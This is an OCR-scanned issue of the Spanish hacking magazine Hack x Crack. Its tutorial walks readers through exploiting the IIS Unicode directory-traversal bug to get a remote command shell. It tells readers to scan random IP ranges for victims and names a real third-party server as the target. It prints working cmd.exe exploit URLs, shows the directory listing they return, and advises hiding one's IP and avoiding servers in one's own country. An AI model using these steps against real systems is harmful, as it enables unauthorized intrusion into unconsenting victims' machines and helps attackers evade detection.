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* HACEMOS LOMIDE NADIE HACE
HACKEA NUESTRE SERVIDOR !!
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Como siempre, vamos al grano!!

- CRITICAS!!! Si, hemos recibido muchas criticas y os las resumimos en una frase:
“Vuestros contenidos son la ostia, lo explicais como nadie, de verdad; PERO sois cutres
hasta la saciedad y vuestra ortografia es de escandalo.”

Nada que decir, es verdad. Solo espero que dia a dia mejoremos.

- En nuestra seccion “En Defensa del Lector”, explicamos algo que os interesara. Las
consecuencias de lo que alli exponemos se ha traducido en que Hack x Crack NUmero
1 esta disponible en nuestra Web de forma gratuita y con mejoras importantes respecto
a la que distribuyo.

- Es verano y seguro que somos la Unica revista de informatica que sale al mercado
en Agosto... somos masoquistas de verdad!!!. Asi que, este nimero es un tanto especial,
sin TCP/IP ni extensas explicaciones sobre los secretos del oscuro Universo; pero
tenemos MUCHA CARNAZA!!!

- Esperamos que nadie se asuste por el contenido de este segundo numero. Jamas
se ha publicado nada parecido, asi que hemos hecho lo que nadie se ha atrevido nunca
hacer en una publicacion de este tipo, hemos puesto a vuestra disposicion un Servidor
en la IP 80.36.230.235 para que puedas hacer las practicas que encontraras en estas
paginas. Para que luego digas que no te cuidamos :)

- Ah, se me olvidaba. Para cuando leas estas lineas espero que en nuestra Web esté
activo el FORO de Hack x Crack... La Idea: ayudar, criticar, preguntar y establecer
contacto con otros lectores.

- ¢El Futuro? Pues nos gustaria, para el nimero 6 de Hack x Crack, entre otras cosas:
* Tener 3 6 4 Servidores para vuestras practicas.
* Que el COLOR llegue a la revista
* Alcanzar las 150 paginas (mas o menos)

* Poder dedicar la mitad de la revista a cursos de distintos lenguajes de Programacién
PERO orientados al Hacking, algo que nunca se ha hecho (ya estamos trabajando en
ello).

*'Y ya puestos, crear una Biblioteca del Hacking, con manuales traducidos de
Centralitas Telefdnicas, Sistemas de llamadas, Hard/Soft... pero no los tipicos manuales
que venden junto a los Sistemas, sino los manuales de los Fabricantes. Supongo que
ya sabemos todos a lo que nos referimos.
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CONTACTA

NOSOTROS

director@hackxcrack.com

Ya sabes, pora cosas importantes :)

redactores@hackxcrack.com
colaboradores@hackxcrack.com

Dudas, criticas, preguntas, errores
y lo que tu quieras

flechaacida@hackxcrack.com

Para esas cosas que no soportas:
Denuncia a quien te agrede !!!

defensalector@hackxcrack.com
No te cortes: CRITICANOS !!!

juridico@hackxcrack.com

Si quieres denunciarnos ANOSOTROS, este
es tu mail :)

publicidad@hackxcrack.com

MUESTRA TUS PRODUCTOS EN
HACK X CRACK
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- El contenido de las paginas que tienes entre las manos contiene una practica
REAL de HACKING. NO DEBES bajo ninguna circunstancia ejecutar los comandos
que aqui se detallan. Ademas, ese servidor puede desaparecer en cualquier
momento, puesto que es propiedad de una empresa francesa con la que no
tenemos nada que ver y ha sido escogida al azar... asi que SIGUE LEYENDO
ESTA PAGINA.

- Para poder hacer las practicas HEMOS HABILITADO UN SERVIDOR EN NUESTRA
REDACCION DE FORMA PERMANENTE.

- LA IP DE NUESTRO SERVIDOR ES 80.36.230.235

- Cuando veas en estas paginas que escaneamos o introducimos comandos
remotos, DEBERAS SUSTITUIR LA IP DE LA VICTIMA POR NUESTRA IP:
80.36.230.235

En nuestra Web, para los que se pierdan por el camino, pondremos el
proceso completo para Hackear nuestro Servidor.

- El contenido que veras a continuacion NUNCA HA SIDO PUBLICADO. Podras
ver referencias a code/decode en muchos sitios, pero JAMAS SE HA ESCRITO
Y PUBLICADO un paso a paso tan detallado como el que tienes entre las manos.

- El contenido de esta publicacion NO VALE 3 EUROS, seguramente no tienes
dinero suficiente para pagar lo que realmente vale. No es la explicacién de un
simple BUG, es LA BASE para que entiendas y puedas en un futuro explotar
todo tipo de BUGS.

- POR ULTIMA VEZ!!! HAZ LAS PRUEBAS HACKING EN NUESTRO SERVIDOR.

P.D. Tenemos pensadas muchas iniciativas que posiblemente romperan los
moldes de cualquier otra publicacidon que exista actualmente en el mercado. El
primer paso ha sido poner a TU disposicion un Servidor para que puedas practicar
nuestros ejercicios sin temor alguno y abrir un foro en nuestra Web para que
puedas tener acceso a las opiniones de otros lectores, pero ni te imaginas lo
que nuestras perversas mentes estan ideando... por cierto, el foro es de libre
acceso y puedes dar tu opinion libremente :)
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Pero para que todo esto llegue a buen fin y podamos cada dia mejorar (que
ya sabemos que nos hace falta mejorar mucho, posiblemente seamos la
publicacion menos profesional que existe en Espafia), necesitamos de TU
AYUDA!!!

No tenemos soporte de ningun tipo y no creo que encontremos anunciantes
para una publicacion que trata temas tan “terribles” como el hacking y que se
atreve a mostrar paso a paso estas técnicas. Asi que solo os pedimos DOS
COSAS:

1.- NO SEAS DEMASIADO CRUEL EN TUS CRITICAS:

Sabemos que la publicacion es en Blanco y Negro, que es CUTRE en su formato
y presentacion -- excepto las tapas, que a mi me gustan :) --, que tiene
insufribles faltas de todo tipo (la ortografia no es nuestro fuerte) y mil cosas
mas.

Todos los que colaboramos tenemos nuestro trabajo al margen de Hack x Crack,
somos ese tipo de gente rara que se pasa las noches investigando temas que
nunca nadie valorard -- salvo un juez para meternos en la carcel :(

Nuestro suefio es poder un dia dedicarnos en exclusiva a Hack x Crack, algunos
estan dispuestos a ver reducido su nivel de vida actual para poder dedicarse
al 100% a lo que mas les gusta: investigar... pero por ahora esto es s6lo un
suefo y un perjuicio econdmico con MAYUSCULAS (nuestros sueldos no podran
mantener mucho tiempo esta publicacion en “la calle”)... por eso..

2.- AYUDANOS A CRECER!!! Necesitamos tus opiniones en el foro, tanto las
cosas buenas que te ofrecemos como las insufribles. Nece5|tamos que nos
promociones, no tenemos otro medios ni dinero para auto-publicitarnos... asi
gue TU eres el Unico que puede ayudarnos con €so.

Hemos puesto en la Web (www.hackxcrack.com) el nimero uno de Hack x
Crack en formato PDF, puedes descargarlo y “promocionarlo” cuanto quieras,
desde comentar nuestra existencia a tus conocidos hasta anunciarnos en
cualquier medio que conozcas... solo TU puedes hacer que sigamos cada mes
en la calle.

Bueno, no queremos darte mas pena :) Solo esperamos que este nimero te
guste mas que el anterior y no tenga tantos errores.
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zTe crees incapaz de hackear?

zCrees que todo eso es muy complicado?

Pues PREPARATE: TE EXPLICAREMOS PASO A PASO COMO
EXPLOTAR EL CODE / DECODE BUG

Consigue una SHELL de sistema en un equipo remoto YA!!!

1.- ¢Qué conseguiremos hacer?

- Mediante la explotacion de este terrible agujero de seguridad, conseguiremos hacernos
con la SHELL de un sistema remoto.

- ¢COmo? éUna que?

- A ver si nos vamos enterando. Hay muchas maneras de acceder a un equipo remoto,
pero el objetivo es siempre el mismo, hacernos con la LINEA DE COMANDOS del
ordenador remoto, es decir, una terminal, o sea, una pantalla negra en la que podemos
teclear cosas ¢ési? éYa lo pillas?... Bien, pues abre una en tu equipo tal como te
ensefiamos en el nimero uno de esta revista

--> Inicio --> Todos los Programas --> Accesorios --> Simbolo del Sistema
O mas sencillo

--> Inicio --> Ejecutar, y en la ventana que te saldra escribe cmd.exe (valido para NT,
2000 y XP. En caso contrario command.com) y pulsa aceptar.
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100000 ¥

5| Windows XP Professional

Lo que obtendras es esto:

Microsoft Wigdows KP [Version 5.1.26801]
(C) Copyright 1985-20@1 Microsoft Corp.

E:\Documents and Settings\PERFOND123>
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- Pero si yo tengo una, épara que quiero abrir otra en un equipo remoto? Si la abro
en un equipo que esta en Rusia yo no veré la SHELL esa de que me hablas ¢no? En
todo caso la vera quien esté sentado delante de ese ordenador que yo no se ni donde
para.

b

- Lo que conseguiras es abrir una Ventana de Comandos (SHELL) del equipo
remoto en tu ordenador (idéntica a la que acabas de abrir), y cuando introduzcas
un comando (una orden) en esa pantalla negra, sera transmitida al remoto (la victima).
Y NO!!!, aunque el administrador del sistema remoto (victima) esté sentado delante
de su teclado, NO VERA NADA :)

Deja ya de preguntar y mira lo que podras hacer:
- Podras obtener una SHELL.
- Podras ver su disco duro desde el Internet Explorer.

- Podras hacer casi de todo con sus ficheros, desde descargarte archivos hasta
modificarlos.

- Podras ejecutar Comandos de Sistema (si, incluso formatearle el disco duro,
pero solo los Lamers mas estlpidos hacen dano, RECUERDALO!!!),

- Podras incluso subirle programas a su equipo y ejecutarlos, lo que abre un
interminable abanico de posibilidades, desde montar un Servidor FTP en el
equipo remoto hasta montar un Proxy y hacerte anénimo “de verdad”.

- Y muchas mas cosas... pero poco a poco y con buena letra.

2.- ¢En qué consiste el BUG?

Este BUG afecta a TODOS los equipos que tienen instalado el IIS (Internet Information
Server) bajo Windows. No importa si tienes el ultimisimo Windows XP, si instalas el
IIS seras vulnerable (hasta que lo actualices, claro).

Comentario: Ya explicamos lo que era un servidor en el niumero uno de Hack x Crack, pero por si
acaso, te recordamos que el IIS el “servidor de pdginas Web " de Microsoft, es decir, un programa
que instalado en un ordenador cualquiera te permite ‘‘servir’ pdginas Web.

Cuando pones en tu Internet Explorer una direccion (por ejemplo www.astalavista.com) /o que
haces es pedirle a un ordenador una pagina Web. Bien, pues si ese ordenador no tuviese un Servidor
Web (un programa como por ejemplo el IIS) no podrias obtener la Pdgina Web.
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Vamos a ver como anunciaron el error/bug en Hispasec (www.hispasec.com):

£

Todos los servidores Web con Internet Information Server pueden estar afectados por
una grave vulnerabilidad que permite a un atacante la ejecucion de programas en la
maquina.

El problema afecta a las versiones de Internet Information Server 4.0 y 5.0 y la gravedad
del problema es tal que la propia Microsoft recomienda la actualizacion inmediata de
todos los servidores IIS. El problema se basa en una vulnerabilidad tipica y conocida
de los lectores habituales, como es la escalada de directorios mediante el uso de "../".

Esta cadena introducida en peticiones Web especialmente construidas, como es el
caso que nos ocupa, permite subir directorios y escapar del arbol del Web. Este tipo
de ataques son habituales, si bien en esta ocasion para evitar la proteccion impuesta
por IIS ante estas peticiones se logra reproducir el problema mediante la sustitucion
de los caracteres "/" y "\" por su representacion mediante caracteres UNICODE. Los
caracteres UNICODE son la representacion hexadecimal de su valor ASCII precedido
de un simbolo %. El problema es especialmente grave ya que esta vulnerabilidad puede
permitir acceder a la ejecucion de cualquier comando, incluido lograr el listado completo
del arbol de directorios y archivos, borrar y modificar ficheros, ejecutar un FTP, etc.

Como ya hemos explicado el problema se basa en la sustitucion de los caracteres "/"
y "\" por su representacion UNICODE, lo cual quiere decir que dependera del tipo de
fuentes instaladas en el servidor. Asi por ejemplo una construccion valida para
determinados servidores, con la que se lograria un DIR del directorio raiz, seria:
http://servidor.iis.afectado/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

Microsoft ha reaccionado con la publicacidn de parches para todas las versiones de
IIS y lenguajes, por lo cual, debido la gravedad del problema recomendamos la
instalacion inmediata del parche.

Bien, para los que conocemos el tema, la comprension del texto de hispasec es
inmediata, pero para muchos lectores seguro que es completamente incomprensible.
No importa, a medida que nos introduzcamos en el tema y PRACTIQUEMOS, iremos
introduciendo comentarios al respecto. OS RETO a VOLVER A LEER ESTE TEXTO
después de completar los ejercicios de esta revista, ya veréis la diferencia.

3.- Estoy haciendo algo ILEGAL, ¢y si me pillan?

Vamos a ver, esto es importante y debes tenerlo muy en cuenta. Desde un punto de
vista legal no ha habido ninguna condena por realizar este tipo de ataque, pero SI HA
HABIDO CONDENAS por utilizar este ataque con fines claramente ilegales (como borrar
archivos o descargarte bases de datos de empresas). Por lo tanto, esculpe en tu cerebro
el siguiente consejo: NUNCA utilices lo que te ensefiamos PARA FINES DELICTIVOS.
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- Ya, pero, éme ensefaras a que no me pillen?

- Si, por supuesto, si sigues paso a paso este articulo solo tienes una posibilidad de
ser “ajusticiado”: DEDICARTE A HACER DANO. Con lo que te ensefiemos ninguin
administrador con dos dedos de frente se dedicara a “perseguirte”, entre otras cosas
porque el método que utilizaremos te mantendra oculto en todo momento (ya lo |ras
entendiendo), pero si haces algo "GORDQ", ten por seguro que TE PERSEGUIRAN.

- Ahora me has “acojonado”... creo que no compraré mas vuestra revista

- Vamos a ver, te ensefiaremos a utilizar el ordenador de otro, évale? Podras utilizar
conexiones de verdadera “alta velocidad” y practicar casi “de todo” con este articulo.
Pero POR FAVOR, un poco de sentido comun. No hagas destrozos en los equipos
ajenos no destruyas el trabajo de los demas, utiliza un Proxy anénimo (eso te lo
ensefiaremos hoy) y toma nota para el cuaderno de "Los consejos de Hack x Crack":
NO TE METAS CON LOS SERVIDORES DE TU PROPIO PAIS.

Mira, como ejemplo te pondré a la mismisima realidad. Los Hackers que han sido
encarcelados han cometido DOS ERRORES:

1.- Causar dafos intencionados: robar archivos o borrarlos. Nada puede cabrear
mas a un administrador que le entren sin permiso en su sistema, normalmente no
persiguen a nadie porque no tienen ni tiempo y no les gusta “airear” su incompetencia;
pero si “rompes” un sistema, robas datos y para colmo les formateas el Servidor, te
aseguro que ese administrador no se quedara con los brazos cruzados. Por lo tanto,
NO TE PASES!!! (Ademas, ponte en su lugar, es un trabajador que puede ir a la calle
por tu culpa, lo repito por Ultima vez, NO JODAS POR JODER).

¢Te digo un secreto? La mayoria de mis “amigos de red” (como yo los llamo) son
Administradores de Red. Si, no hay mejor amigo para un aprendiz de Hacker que un
Administrador de Sistemas... y si eres buen chico, acabaras haciendo buenas relaciones
con los administradores de los equipos que “hackeas”. Haz el amor y no la guerra ;p

2.- Meterse con Grandes Compaiiias y encima de tu propio pais. Por lo tanto
no te metas con Telefénica, ¢vale? Supongo que esta claro, éverdad?, una gran
compania puede perseguirte hasta la saciedad, hay algunas personas “exiliadas” de
Espafia por meterse con las Multinacionales (en concreto Telefénica). Los “grandes”
pueden dedicar ingentes cantidades de dinero en atraparte y, créeme, por muy bueno
que seas y muchas técnicas que utilices, al final, te cazaran.

- Si, pero écomo se yo si el servidor que intento “hackear” es o no de Espafia?

- Tranquilo, eso también te lo ensefaremos.
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LOCALIZACION DEL

Lo primero que debemos hacer es BUSCAR UNA VICTIMA. Para este BUG, mejor os
presento al sefor SSS, Shadow Security Scanner version 5.33 (www.safety-lab.com).

Podemos descargarnos una demo de 15 dias en:

http://www.safety-lab.com/en/download/download.htm.

A Safety-Lab download - Microsoft Internet Explorer

Archive Edicion Ver Favoritos Herramientas Ayuda

-loix]
L

5 v n. N
Ghtra's & \j \El] '\J‘/ 'Biisqueda . ¢ Favoritos @Multimedia {‘(

Direccion |®j http:/ fwww.safety-lab.com/en/download/download. htm

Best Security Lab in the world

The Safety=kab

B [EN] - RUS home

what's new? links | contacts

site map

About Us Products | Services | Support Download | Buy now
} Products for Windows95/98/NT/Me/2000/XP Size Mirrors
+ Shadow Security Scanner 5.33 Mirror Russian
3.9MB
. Mirror Russian
1.9 MB |l
. Mirror Russian
3.6 MB
. Mirror Russian
0.5 MB
« Shadow Enterprise Web Firewall 3.01 Mirror Russian
B s W
I 0.7 MB
‘@ |—r|—|ﬁ Internet 4
#Inico] 00 @O O |l & & > | Ifotos |SFoT0s | MEWINDO... [[€)Safety-ta... |« ¥l 2:18
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Existen otros, pero posiblemente, el SSS sea el mejor. No es especifico para escanear
esta vulnerabilidad, pero la soporta perfectamente y prefiero ensefiaros este mes como
funciona, porque para quien no lo conozca, sera una verdadera sorpresa ;)

Bueno, pues descargamos el archivo y lo instalamos. Iniciamos el programa y
configuramos para encontrar servidores vulnerables. Haced exactamente lo que os diré

para configurarlo:

1. Tools --> Options y ponemos los Threads a 20 y Priority a Lower. Esto nos
permitird escanear en segundo plano sin saturar nuestro equipo, hemos limitado
a 20 los procesos de escaneo a un mismo tiempo y hemos disminuido la

prioridad de ejecucidn del programa. El resto lo dejamos idéntico y pulsamos

OK.

Comentario: puedes modificar estos valores segun prefieras, pero acostumbrate a pensar en un
escaneador como en una especie de arana que va tejiendo su tela. Seguramente dejards el/los
escdneres trabajando por la manana y revisards los resultados una horas mas tarde a ver qué ha
“ %

cazado” .

1 Shadow Security Scanner 5.33 =10l x|
File Base SDK Tools Help

Security Scanner

Performance

Threads

Priority

Reliability

Ping Timeout

Data Timeout

Ok
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2. Tools --> Policies y pulsamos el boton ADD. Esto nos permitira crear un nuevo

escenario de escaneo adaptado a nuestro BUG , asi que en el recuadro que
nos aparecera le ponemos un nombre de referencia, por ejemplo CODE-

UNICODE y pulsamos OK.

‘@] Shadow Security Scanner 5.33
File Base SDK Tools Help

Security S canner

— 13l =]

CODE-UNICODE MIMI

Prefrences
[y Smart Scan [Perform protocol identification on found open ports]

IForce Secan [Perform scan on hosts that do not respond to pings] I;l
[1] Multi Loakup IP Scan

[ ] 5can all ports in range

Start Part |1 | End Port [55535 |

‘whois Server |who|s.ann.net

| | Cancel

A

3. En la lista de la Izquierda pulsamos PORTS y dejamos marcados solo el 21 y
el 80. Recordad, ya vimos en el Cuaderno Nimero 1 que los servidores
Web suelen estar en el puerto 80 y los Servidores FTP en el puerto 21. Lo que
buscamos son servidores Web (puerto 80) vulnerables, pero de paso buscaremos
también servidores FTP “apetecibles” (mas adelante veremos el motivo :) ).

=]

‘T Shadow Security Scanner 5.33

ICODE MINI

| Description
PDOS - Private dial out service
DEOS - Distributed External Object Stare
R.E - Private RJE [Remote Job Enty)] service
YETTCP - wettcp
FINGER - Finger
WAAWSHT TR - World "Wide wWeb HT TP [Hyper Text
HOSTS2-NS -HOSTS2 Hame Server
#FER -+FER Utility
cam =]

add || Edt | Delte | Setdefaun |

| Check All || Uncheck All || Rewverse All |

| Ok || cancel || epen |
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Comentario: si pulsas el boton derecho del raton sobre la lista de puertos y seleccionas UNCHECK
ALL, después solo tendrds que validar-el 21 y el 80.

4. Después, de la lista de la izquierda pulsamos sobre Audits. Primero
deseleccionamos todo (botdn derecho y Unchech All) y a continuacion
seleccionamos los siguientes puntos:

- FTP Servers vy a la derecha Anonymous Write. Esto nos permitira encontrar
Servidores FTP donde poder subir cosas (Ya lo explicaré mas adelante en otro
numero).

- Web Servers y a la derecha IIS Unicote Vulnerable, Microsoft IIS CGI
Filename Decode Error Vulnerability, Web Server Folder Traversal -
NT4 y Web Server Folder Traversal — NT5. (Nuestro bug)

Y pulsamos OK.

: Shadnw Security Scanner 5.33 =10] %]
Base SDK Tools Help

,t,

Scanner

[] Miscelaneous ﬂ [] tDaeman 3.5.4 Dos-Device Dad j

[T NetBI0S [ tdDaeman 3.5.4 ‘wWebConfig Dos

[ News Servers [[] MDaemon Session 1D Hijacking Yuln

[ Prowy [] WD aeman wWorldClient Arbitrary File C

[ Registry [ MDaemon WorldClient Folder Creatio

[ Remate Access

[ Rpc Services G [

[] Service Control [ Microsaft Intemet Infarmation Server

[ 55H Servers [ Mirer

[ User [ mini_httpd Permission bypass vuln
YWeh Se [ MLog file Himl bug

Microsoft IIS CGI Filename Decode Error
Vulnerability:

When loading executable CGI program, IS will decode
twice. First, CGI filename will be decoded to check if it is j

‘ Ok H Cancel H Apply ‘
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Comentario: Podriamos incluir algunos mas, pero por ahora con esto ya basta. Fijaros BIEN en
la cantidad de vulnerabilidades que os permite escanear el SSS, es impresionante. Por cierto, no
seamos bestias, NO INTENTES escanear todas las vulnerabilidades a la vez ;vale? Mas que nada
porque tardarias MUCHQO y encima es como si antes de robar un banco visitases la Comisaria de
Policia mas cercana advirtiéndoles de vuestras intenciones. Con las que os he dado son suficientes
para este BUG.

- ¢Por qué dices eso?

- Pues porque a cada intento de escaneo la maquina remota guardara un Log
de tu intento de “penetracion”. En ese Log aparecera tu IP cien mil veces, y
eso canta mucho ¢éverdad?

- Entonces, si escaneo sélo un par de vulnerabilidades... éno se creara un Log
en la maquina remota? ... (Ya estoy pillandole el truquillo al lenguaje que utiliza,
he utilizado escaneo, vulnerabilidad, Log y maquina remota en una sola frase,
esto empieza a gustarme).

- Si, tu IP saldra igualmente. Asi que ves inmediatamente al articulo
OCULTACION DE IP: PRIMEROS PASOS, te enseiiaré a ocultar tu IP
1) ... (menos mal que esta aprendiendo a preguntar, odio a la gente que no
sabe ni preguntar).

ADVERTENCIA: Antes de seguir ir a OCULTACION DE IP: PRIMEROS PASOS. QUEDAS
ADVERTIDO!!!.

5. Bien, ya estamos preparados para empezar a escanear. Vamos a --> File -->
New Session --> Security Scanner. En la ventana que aparecera seleccionamos
nuestro perfil (que nosotros hemos llamado CODE-DECODE) y pulsamos NEXT.
Veremos una ventana que nos ofrece la posibilidad de poner un comentario,
pues ponemos PRIMER ESCANEO (o lo que queramos) y pulsamos NEXT.

6. Ahora ya nos encontramos frente a la ventana donde decidiremos a quien
escaneamos :) . Lo normal es que escaneemos rangos de IPs al azar, asi que
pulsamos ADD IP ZONE y ponemos en el primer recuadro 195.101.57.0
y en el segundo 195.101.57.254 y pulsamos ADD y después DONE.
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Shadow Security Scanner 5.33 - 0| x|

le Base SDK Tools Help

S8 -

Security Scanner T New Session

Starting IP Ending IP
19510570 | [195.101.57.254

| Add | | Cance

Add Host | | 2dd 1P Zone | | Load From File | | Delete Host |

| | Cancel |

7. Veremos como nos quedamos ante una ventana en la que tenemos las IPs que
hemos definido anteriormente. Pues bien, pulsamos el botdon derecho del raton
sobre la primera IP (en este caso 195.101.57.0) y pulsamos Start Scan. Con

esto empezara el escaneo de todas las IP :).

Comentario: El rango de IPs a escanear es casi-completamente aleatorio, no es el momento de
explicar en profundidad este tema, pero os daremos una forma de seleccionar rangos. Inicia el

Internet Explorer e introduce una direccion cualquiera (por ejemplo www.aloha.com) y espera
a ver si aparece una Web. Bien, pues ahora abre una ventana de comandos e introduce la siguiente
orden: ping v mira la IP que te da (todo esto ya se explico en el numero uno de Hack x Crack).
Pues ya solo te queda poner esa IP (en este caso 206.127.224.94) en el rango a escanear. En este
caso el rango seria 206.127.224.0— 206.127.224.254.
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= E:\WINDOWS\System32\cmd.exe

Microsoft Windows RP [Uersion 5.1.26881

(GC> Copyright 1985-2801 Microsoft Corp.

E:“Documents and Settings“\PERFOMD12ping www.aloha.com

Haciendo ping a www.aloha.com [206.127.224.941 con 32 hytes de datos:

Respuesta desde 206.127.224.94: hytes=32 Yiempo=31%ns TIL=228
Respuesta desde 206.127.224.94: hytes=32 tiempo=312ms TTL=227
Rezpuesta desde 206.127.224.94: hytes=32 tiempo=372ms TTL=23@
Respuesta desde 286.127.224.94: hytes=32 tiempo=31ins TTL=229

Estadisticas de ping para 206.127.224.94:
Paguetes: enviados = 4, pecibidos = 4, perdidoz = 8@
(8% perdidos),

Tiempns aproximados de ida y vuelta en milisegundos:
Minimo = 3ims, Maximo = 372ms, Media = 328ms

. Comentario: DEJAD DE REIR!!!! Si, los que selecciondis los rangos de escaneo basdndose en
las dreas universitarias y empresas rusas, finlandesas o sud-africanas. Este no es el momento de
ensernar eso. Todo llegard, os lo aseguro.

8. Después de tomaros un café y una vez acabado el escaneo, pulsad sobre
la primera IP y con las flechas de control del teclado bajad una a una. A la
derecha podras ver los resultados de cada IP, bien, pues para cuando encuentres
alguna que a la derecha tenga una linea de color rojo (no naranja, he dicho
ROJO )).

Para los impacientes, ir directamente a la IP 195.101.57.8 y veras a lo que me
refiero. Este administrador ha sido avisado muchas veces y no hace caso, asi
que lo utilizaremos para nuestras pruebas ;)
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Fle Base SOK Tools Window Help

BHEL D ¢ BB 05

Host Web Servers 115 Uricade Yulnerable
Web Servers Microsalt 15 CGl Flename Decor

Web Servers Microsalt 15 Gl Flename Decor

't, P

15101578

Sanner

Fazsmord Checks
- Opened Ports :

Closed Ports :

B0:WWW-HTTP - World Wide Web HTTP {Hyper Text Transfer Protocol)
Port Type Tce
Protocol HTTP

osn LN
PR ........c. 4 g
\Modules [0 Nt scan host; Vulnerable : 157

| Scan complete (100%) | /4

9. Bien, ya tenemos nuestra primera victima. Pues para acceder a su disco duro
mirad en la seccién AUDITS (unas pocas lineas por encima de la barra roja),
pulsad sobre Web Servers ISS Unicode Vulnerable y mirad lo que aparece en
la Seccidn que te sefialamos con el puntero del Mouse, concretamente en Script
1.
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File Base SDK Tools Window Help

gEEH O s BB 86

Sl |8 scan with CODE-UNICODE MINI policy

IP Host [ X'web Servers 15 Unicode Yulnerable
195101 57.8 & Web Servers Microsoft 115 CGI Filename Decor
4 Web Servers Microzoft 115 CGI Filename Decoc

. 05 Detected

Dpened Ports :
Closed Ports :
Blocked Ports :

-

-

High

Update your IIS Server.
m http://195.101.57.8/scripts/..%c0%af.. /winnt/system32/cmd. exe?/c+dir+c:| j

http://195.101.57.8/iisadmpwd/..%c0%af../..%c0%af../..%c0% b&
af../winnt/system32/cmd. exe?/cHdir+c:|
|Modu|es 0 |Next scan host : f‘.’ulnerable 11570 4

| [5can complete (100%) | A
| /4

ADVERTENCIA: Antes de ir al punto 10, ir a OCULTACION DE IP: PRIMEROS PASOS.
QUEDAS ADVERTIDO!!!.

10. Pincha dos veces sobre ese enlace
(http://195.101.57.8/scripts/..%cO%af../winnt/system32/cmd.exe?/c+dir
+c:\) 0 copialo en el Internet Explorer y PLASS!!!, ya estas dentro de su disco duro,
asi de sencillo :).
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A http://195.101.57.8 scripts/..A"../winnt/system32/cmd.exe?[ctdir+c:) - Microsoft In

Bk

€]l

Archivo “Edician Ver Favorftos Herramientas  Ayuda ﬂ'

@Atra’s 7N \ﬂ @ -_h ‘ /.]Elﬂsqueda “{\L{Favontos @Multimedia {‘3‘ [\"; g - _J @ ﬁ @ ﬁ

Direqcion &) htp:/195.101.57.8/scripts. Sch%a, fwinnt/system32 cmd.xe? codir+c:| J g Vinculos ™
5700 39 15,09 Z1Z 290 Cld.SpyoiL j
19/08/98 03:21 0 CONFIG.apyDir

31/05/02 17T:46 99 DNSSVC,apyDir

24/05/02 09:21 393 216 DRWISON.evt

12/11/99 17:35 <DIR> Exchange

19/08/98 03:39 <[IR> FRENCH

03fo7/02 1222 82 frpser.tat

26/05/02 0137 <DIR» InetPub

03/10/%6 03:00 17 396 Info.spylir

03/10/% 03:00 5 645 IPSETUR, spyDir

03/10/36 03:00 11 €38 Leame.3pyDir

03/10/36 03:00 12 876 Leggimi.spyDir

03/10/36 03:00 11 091 Leiame.spyDir

03/10/%6 03:00 12 361 Lisezmoi.spyDir

03/10/36 03:00 & 747 mamouse. spyDir

03/10/%6 03:00 20 925 mssermou.spyDir

03/10/%6 03:00 13 833 mawheel, 001

03/10/%6 03:00 10 547 mewheel, spylic

19/08/98 03:46 <DIR» Multimedia Files

30/05/02 15:13 335 544 320 pagefile.sys

pzfoz/ol 1442 <[IRy Frogram Files

03/10/%6 03:00 10 711 readne.spyDir

21/08/02 15:17 <DIR> acripts

27/10/01 20:19 <[IRy SpENsEr

17/06/02 15:23 <DIR» TEMP

21/05/02 15115 <DIR» temp?

16/06/02 01:15 0 TFIP223.3pyDir

16/08/02 0115 0 TFTE23%.3pylir

16/06/02 0115 0 TFTP426,3pyDir

23/08/02 20027 0 TFTP432

12/01/00 1T:40 <DIRy unzipped

03/10/36 03:00 18 873 vmouse.spyDir

30/05/02 11:54 19 456 winpat,FI3

01/03/96 00:00 28 756 WINAT.HLP -
01/03/36 00:00 159 744 WINAT.spyDir

17/06/02 16:28 <DIR» WINNT

01/08/01 17219 <DIR» WORM j

’_’_’_“ Tnteret /

00000 |d& & * | BEW.|DroT0s | Dfdos | Ese.. | ElSs |
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- Que fuerte, es impresionante, he entrado en un ordenador remoto, SOY UN
HACKER!!!!

- Venga hombre, no te emociones, que acabamos de empezar. Estas aprendiendo
a explotar uno de los BUGS mas sencillos y escandalosos de Microsoft, asi que,
no alardees de esto, évale? ;p

- OYE!!!, pero, no puedo navegar por su disco duro, pincho con el raton en el
Internet Explorer y no puedo entrar en sus carpetas. ME HAS ENGANADO!!!
(Este se cree que sabe mucho y mira, no me sirve de nada lo que me ha
ensefnado, que porqueria de BUG)

- ¢No querias hackear? éNo has entrado en un ordenador sin permiso? éQué
mas quieres?

- Pues quiero ver sus archivos, y hacer un DUMP de esos que he oido hablar
y ...

- Pues sigue leyendo y deja de llorar , pero antes tienes que entender lo que
ha pasado. Me esperaba algo mas inteligente por tu parte, como por ejemplo
que me preguntases qué significaba lo que has puesto en el navegador para
acceder a ese equipo remoto. ¢Si? ¢En serio no te lo has preguntado? (el tio
quiere hacer un DUMP!!I, no veas, pues le ensefiaremos, aunque no se para
que lo quiere :p)

- Hombre, pues con la emocién no, pero ahora si me interesa.

- Eso ya me gusta mas.
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A partir de este momento, mejor haz las practicas en el
servidor que hemos preparado para TI y solo para TI En
serio, lo que haremos a partir de ahora implica modificar
archivos y muchas cosas mas, asi que mejor nos utilizas a
nosotros como “conejito de indias” (hasta que tengas practica,
claro :) ).

1.- Comprendiendo...

Lo que tenemos es una direccion de Internet tipo:

http://195.101.57.8/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

http:// --> Ya lo explicamos en el nUmero anterior de esta revista, estas accediendo a un
servidor de paginas Web que escucha el puerto 80 y utiliza el protocolo http.

195.101.57.8  --> Es la direccién IP del Servidor Web.
/scripts/ --> Es un directorio del servidor Web.

..%c0%af.. --> Es el BUG!!! En principio intentas acceder a un directorio llamado ..%c0%af..,
pero debido a un error en la forma de traducir/interpretar el arbol de directorios, lo que sucede
es que se produce una “escalada de directorio” y “saltas” a ¢donde?

Comentario: No hay espacio en esta revista (ni en 10 de ellas) para explicar como funciona el
interprete/traductor Unicode, pero si te interesa el tema empieza a buscar en Google por ““Web
Server Folder Traversal Vulnerability” y sigue con “escalada de directorios”.

Comentario. Utiliza el Internet Explorer para explotar este Bug, ya sabes, los errores se “explotan”
mejor utilizando las herramientas del propio “creador” del Bug, o sea Microsoft :)
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2.- Empezando a utilizar comandos.

Una vez mas tengo que decir eso de... no vamos a tocar en profundidad este tema
y... Odio esta frase pero si algo tenemos claro en Hack x Crack es el enfoque de esta
revista. Trataremos los temas propuestos en profundidad y cualquier “tema anexo”
sera tratado lo justo y necesario para que se puedan hacer “las practicas”.

Colaborar con esta revista me ha ensenado algo que me parece terrible, algo digno
de exponer antes de pasar a explicaros nada mas: La generacion de usuarios que han
nacido con WINDOWS9X es ANALFABETA

- Hombre, no te pases, a mi no me insultes éeh?

